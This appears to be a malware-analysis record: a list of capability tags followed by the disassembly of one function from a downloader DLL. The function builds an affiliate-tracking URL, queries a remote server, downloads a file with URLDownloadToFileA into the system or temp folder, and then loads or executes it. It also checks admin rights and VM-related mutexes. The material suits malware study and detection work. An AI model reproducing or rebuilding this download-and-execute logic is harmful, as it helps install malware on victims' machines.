Function at 0x10002e3d
Capabilities:
Allocate or change rwx memory
Download url
Execute shellcode via indirect call
Get common file path
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xfd4
push ebx
push esi
push edi
mov dword [ebp + 0x68], 1
call fcn.10005a04
call sym.222.dll_f
call fcn.10005a4d
push 0x10006230
push 0x10006b40
mov ebx, 0x10006ba8
push ebx
push str.controller
call sym.222.dll_f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 0x10
push 0x824
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, 0xfd0
push edi
push 0
mov dword [ebp + 0x58], eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
push 0
mov dword [ebp + 0x70], eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push str.setupapi.dll
mov dword [ebp + 0x60], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.IsUserAdmin
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
xor esi, esi
push esi
push dword [ebp + 0x70]
mov dword [ebp + 0x5c], eax
call fcn.10001c49
push edi
push esi
push dword [ebp + 0x60]
call fcn.10001c49
add esp, 0x18
cmp dword [ebp + 0x5c], esi
je 0x10002ef8
call dword [ebp + 0x5c]
mov dword [ebp + 0x68], eax
lea eax, [ebp + 0x40]
push eax
lea eax, [ebp + 0x44]
push eax
push 0x32
push esi
mov byte [ebp + 0x77], 0
call dword [0x10006320]
test eax, eax
je 0x10002f1b
test byte [ebp + 0x44], 0x10
je 0x10002f1b
mov byte [ebp + 0x77], 1
xor eax, eax
lea edi, [ebp + 0x50]
stosd dword es:[edi], eax
push 8
lea eax, [ebp + 0x4c]
push eax
push 0x32
push esi
mov dword [ebp + 0x4c], 1
call dword [0x10006324]
push esi
push esi
push esi
push esi
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1_
call dword [0x10006b38]
cmp eax, esi
mov dword [ebp + 0x50], eax
je 0x10003728
push 0x24
pop ecx
xor eax, eax
lea edi, [ebp - 0xec]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xf0]
push eax
mov dword [ebp - 0xf0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [ebp + 0x48], esi
mov dword [ebp + 0x6c], esi
mov edi, str.VMMainMutex
push edi
push esi
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
cmp eax, esi
jne 0x10002f9f
inc dword [ebp + 0x6c]
add edi, 0x20
cmp dword [ebp + 0x6c], 2
jb 0x10002f80
jmp 0x10002fa6
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x6c], 2
jae 0x10002fbd
mov dword [ebp + 0x48], 1
mov dword [0x1000d180], 0x5265c00
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1000b844
lea eax, [ebp - 0x5f4]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1000b668
lea eax, [ebp - 0x5f4]
push eax
call esi
lea eax, [ebp - 0xdc]
push eax
push dword [ebp - 0xe4]
lea eax, [ebp - 0x658]
push dword [ebp - 0xe8]
push dword [ebp - 0xec]
push dword [ebp - 0xe0]
push str.v_x__x__x__x__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x5f4]
push eax
call esi
push str.cid
lea eax, [ebp - 0x5f4]
push eax
call esi
push 0x10006b40
lea eax, [ebp - 0x5f4]
push eax
call esi
push str.at
lea eax, [ebp - 0x5f4]
push eax
call esi
push ebx
lea eax, [ebp - 0x5f4]
push eax
call esi
cmp dword [ebp + 0x48], 0
lea eax, [ebp - 0x5f4]
je 0x10003070
push str.zq1
jmp 0x10003075
push str.zq0
push eax
call esi
push str.tp
lea eax, [ebp - 0x5f4]
push eax
call esi
push 0x1000b804
lea eax, [ebp - 0x5f4]
push eax
call esi
push str.affid
lea eax, [ebp - 0x5f4]
push eax
call esi
push 0x10006230
lea eax, [ebp - 0x5f4]
push eax
call esi
push str.morphid
lea eax, [ebp - 0x5f4]
push eax
call esi
push 0x10006258
lea eax, [ebp - 0x5f4]
push eax
call esi
push str.revid
lea eax, [ebp - 0x5f4]
push eax
call esi
push 0x1000626c
lea eax, [ebp - 0x5f4]
push eax
call esi
lea eax, [ebp - 0x5f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp - 0xf5c]
push ecx
push eax
lea eax, [ebp - 0x5f4]
push eax
call fcn.10002740
and dword [ebp + 0x5c], 0
add esp, 0xc
call fcn.10002dbb
push eax
push dword [ebp + 0x58]
call edi
push str._sid
push dword [ebp + 0x58]
call esi
lea eax, [ebp - 0xf5c]
push eax
push dword [ebp + 0x58]
call esi
xor edi, edi
push edi
push 0x200000
push edi
push edi
push dword [ebp + 0x58]
push dword [ebp + 0x50]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, edi
mov dword [ebp + 0x6c], eax
jne 0x10003176
push dword [ebp + 0x50]
call dword [0x10006330]
cmp byte [ebp + 0x77], 0
je 0x10003751
xor eax, eax
lea edi, [ebp + 0x68]
push 8
stosd dword es:[edi], eax
lea eax, [ebp + 0x64]
push eax
push 0x32
push 0
jmp 0x1000373d
push edi
push edi
lea ecx, [ebp + 0x5c]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov eax, dword [ebp + 0x5c]
lea ecx, [ebp + 0x54]
push ecx
push eax
push dword [ebp + 0x70]
mov dword [ebp + 0x58], edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp + 0x54], eax
jmp 0x100031bd
cmp dword [ebp + 0x54], 0
je 0x100031c6
mov eax, dword [ebp + 0x58]
add eax, dword [ebp + 0x54]
cmp eax, dword [ebp + 0x5c]
mov dword [ebp + 0x58], eax
je 0x100031c6
lea ecx, [ebp + 0x54]
push ecx
mov ecx, dword [ebp + 0x70]
push dword [ebp + 0x54]
add eax, ecx
push eax
push dword [ebp + 0x6c]
call edi
test eax, eax
jne 0x1000319c
push 0xc
pop ecx
xor eax, eax
mov byte [ebp + 0xc], 0
lea edi, [ebp + 0xd]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0xc
pop ecx
xor eax, eax
mov byte [ebp - 0x28], 0
lea edi, [ebp - 0x27]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0xc
pop ecx
mov byte [ebp - 0x5c], 0
xor eax, eax
lea edi, [ebp - 0x5b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0x10006230
mov edi, 0x10006b40
push edi
push ebx
push str.dtfromcn
call sym.222.dll_f
mov eax, dword [ebp + 0x58]
add esp, 0x10
cmp eax, dword [ebp + 0x5c]
jne 0x1000371d
push 0x10006230
push edi
push ebx
push dword [ebp + 0x70]
call sym.222.dll_f
push dword [ebp + 0x60]
mov eax, dword [ebp + 0x5c]
shr eax, 1
push eax
push dword [ebp + 0x70]
call fcn.100027de
add esp, 0x1c
cmp dword [ebp + 0x60], 0
push 0x10006230
push edi
push ebx
je 0x1000324d
push dword [ebp + 0x60]
jmp 0x10003252
push str.decfail
call sym.222.dll_f
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrA]
add esp, 0x10
push 0x1000b7c8
push dword [ebp + 0x60]
call edi
test eax, eax
mov dword [ebp + 0x70], eax
je 0x100032a1
push 0x1000b724
inc eax
push eax
call edi
test eax, eax
je 0x10003293
mov ecx, dword [ebp + 0x70]
sub eax, ecx
dec eax
dec eax
push eax
add ecx, 3
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
jmp 0x100032a1
mov eax, dword [ebp + 0x70]
add eax, 3
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1000b7c4
push dword [ebp + 0x60]
call edi
test eax, eax
mov dword [ebp + 0x70], eax
je 0x100032e8
push 0x1000b724
inc eax
push eax
call edi
test eax, eax
je 0x100032d7
mov ecx, dword [ebp + 0x70]
sub eax, ecx
dec eax
dec eax
push eax
add ecx, 3
push ecx
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
jmp 0x100032e8
mov eax, dword [ebp + 0x70]
add eax, 3
push eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1000b7c0
push dword [ebp + 0x60]
call edi
test eax, eax
mov dword [ebp + 0x70], eax
je 0x1000332f
push 0x1000b724
inc eax
push eax
call edi
test eax, eax
je 0x1000331e
mov ecx, dword [ebp + 0x70]
sub eax, ecx
dec eax
dec eax
push eax
add ecx, 3
push ecx
lea eax, [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
jmp 0x1000332f
mov eax, dword [ebp + 0x70]
add eax, 3
push eax
lea eax, [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1000b7bc
push dword [ebp + 0x60]
call edi
test eax, eax
mov dword [ebp + 0x70], eax
je 0x10003376
push 0x1000b724
inc eax
push eax
call edi
test eax, eax
je 0x10003365
mov ecx, dword [ebp + 0x70]
sub eax, ecx
dec eax
dec eax
push eax
add ecx, 3
push ecx
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
jmp 0x10003376
mov eax, dword [ebp + 0x70]
add eax, 3
push eax
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call fcn.10002a89
mov byte [ebp - 0xb5c], 0
xor eax, eax
mov ecx, 0xff
lea edi, [ebp - 0xb5b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x10006230
mov edi, 0x10006b40
push edi
push ebx
push str.instheader
mov dword [ebp + 0x48], 0x400
call sym.222.dll_f
add esp, 0x10
push str.g_InstallDll
lea eax, [ebp - 0xb5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
lea eax, [ebp + 0x48]
push eax
lea eax, [ebp - 0xb5c]
push eax
push 0xffff
push dword [ebp + 0x6c]
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x1000371d
push 0x1000b844
lea eax, [ebp - 0x5f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1000b668
lea eax, [ebp - 0x5f4]
push eax
call esi
push str.affid
lea eax, [ebp - 0x5f4]
push eax
call esi
push 0x10006230
lea eax, [ebp - 0x5f4]
push eax
call esi
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x5f4]
push eax
call esi
push str.cid
lea eax, [ebp - 0x5f4]
push eax
call esi
push edi
lea eax, [ebp - 0x5f4]
push eax
call esi
push str.at
lea eax, [ebp - 0x5f4]
push eax
call esi
push ebx
lea eax, [ebp - 0x5f4]
push eax
call esi
push str.wt
lea eax, [ebp - 0x5f4]
push eax
call esi
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x5f4]
push eax
call esi
push str.bi
lea eax, [ebp - 0x5f4]
push eax
call esi
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x5f4]
push eax
call esi
push str.morphid
lea eax, [ebp - 0x5f4]
push eax
call esi
push 0x10006258
lea eax, [ebp - 0x5f4]
push eax
call esi
push str.revid
lea eax, [ebp - 0x5f4]
push eax
call esi
push 0x1000626c
lea eax, [ebp - 0x5f4]
push eax
call esi
push 4
push 0x3000
push 0x104
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [ebp - 0x5c]
push ecx
lea ecx, [ebp + 0xc]
mov dword [ebp + 0x50], eax
push ecx
lea ecx, [ebp - 0x28]
push ecx
push str.parswt_sbi_ssf_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x10006230
push edi
push ebx
push dword [ebp + 0x50]
call sym.222.dll_f
add esp, 0x24
push 0x10000
push 0
push dword [ebp + 0x50]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [ebp - 0x5f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp - 0xf5c]
push ecx
push eax
lea eax, [ebp - 0x5f4]
push eax
call fcn.10002740
add esp, 0xc
push str._sid
lea eax, [ebp - 0xb5c]
push eax
call esi
lea eax, [ebp - 0xf5c]
push eax
lea eax, [ebp - 0xb5c]
push eax
call esi
call fcn.1000263f
push 0x40
pop ecx
xor eax, eax
mov byte [ebp - 0x1f4], 0
lea edi, [ebp - 0x1f3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str..dll
lea eax, [ebp - 0xb5c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
xor edi, edi
cmp dword [ebp + 0x68], edi
mov dword [ebp + 0x50], eax
lea eax, [ebp - 0x1f4]
je 0x100035c0
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x1000b728
lea eax, [ebp - 0x1f4]
push eax
call esi
jmp 0x100035cc
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp dword [ebp + 0x50], edi
mov eax, 0x1000a51c
jne 0x100035db
mov eax, 0x1000b76c
push eax
lea eax, [ebp - 0x75c]
push eax
call fcn.100054b5
pop ecx
pop ecx
lea eax, [ebp - 0x75c]
push eax
lea eax, [ebp - 0x1f4]
push eax
call esi
push edi
push edi
lea eax, [ebp - 0x1f4]
push eax
lea eax, [ebp - 0xb5c]
push eax
push edi
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x1000371d
push eax
push eax
push 3
push eax
push 1
push 0x40000000
lea eax, [ebp - 0x1f4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000371d
push edi
call fcn.10005b0f
push ebx
push 0x10006b40
push 0x10006230
push edi
call fcn.10005ab6
add esp, 0x14
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
xor esi, esi
cmp dword [ebp + 0x50], esi
je 0x100036b4
lea eax, [ebp - 0x1f4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
cmp ebx, esi
je 0x1000368f
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
je 0x10003688
call eax
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x32c8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.VMMainMutex
push esi
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
cmp eax, esi
je 0x1000371d
push eax
call edi
jmp 0x100036e6
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ShellExecuteA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push 0x1000b74c
push esi
lea ecx, [ebp - 0x1f4]
push ecx
push str.open
push esi
call eax
cmp eax, 0x20
jle 0x1000371d
push dword [ebp + 0x6c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [ebp + 0x77], 0
je 0x10003719
xor eax, eax
lea edi, [ebp + 0x68]
stosd dword es:[edi], eax
push 8
lea eax, [ebp + 0x64]
push eax
push 0x32
push 0
mov dword [ebp + 0x64], 0x10
mov dword [ebp + 0x68], 1
call dword [0x10006324]
mov al, 1
jmp 0x10003753
push dword [ebp + 0x6c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor esi, esi
cmp byte [ebp + 0x77], 0
je 0x10003751
xor eax, eax
lea edi, [ebp + 0x68]
push 8
stosd dword es:[edi], eax
lea eax, [ebp + 0x64]
push eax
push 0x32
push esi
mov dword [ebp + 0x68], 1
mov dword [ebp + 0x64], 0x10
call dword [0x10006324]
xor al, al
pop edi
pop esi
pop ebx
add ebp, 0x78
leave
ret